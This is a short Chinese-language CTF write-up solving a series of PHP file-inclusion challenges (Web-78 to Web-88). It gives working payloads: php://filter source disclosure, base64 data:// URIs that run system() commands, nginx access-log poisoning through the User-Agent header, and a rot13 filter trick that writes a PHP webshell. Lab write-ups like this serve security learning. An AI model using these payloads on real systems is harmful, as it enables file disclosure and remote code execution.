文件包含
Web-78
访问URL,得到经过Base64加密后的字符串,这段代码就是Base64加密过后的PHP源代码,解密后就可得到原本的样子
?file=php://filter/read=convert.base64-encode/resource=flag.php
?file=php://filter/convert.base64-encode/resource=flag.php
Web-79
方法一
这题是把输入的php用???替换了,所以我们可以选用data://伪协议
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行,从而导致任意代码执行。
方法二
用短标签
Web-80
这里是php和data都被替换了
先去用USER-AGENT插入日志,再通过/var/log/nginx/access.log路径包含,继续给参数
接下来可以正常进行读取了
输入:1=system("ls");
输入:1=system("tac fl0g.php");
这里输入cat fl0g.php是不成功的,好玄
access_log ——用来指定日至文件的路径及使用的何种日志格式记录日志
Web-81
上一题方法同样适用嘿嘿
Web-82
这道题看它的hint就知道不简单
把点过滤了,那说明只能用无后缀的文件,所以只能是session文件
不会不会不会不会
Web-87
这里要使用伪协议的过滤器
?file=php://filter/write=string.rot13/resourse=2.php //对写的内容进行凯撒13编码
先别着急,得对这个payload进行二次URL全编码,不然会受到rot13编码偏移的影响,接下来通过POST写入文件内容
<?php system('tac f*.php');?>
这个进行rot13编码后Excute一下
最后去访问我们上传的2.php文件就好啦
Web-88
输入:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4
评论已关闭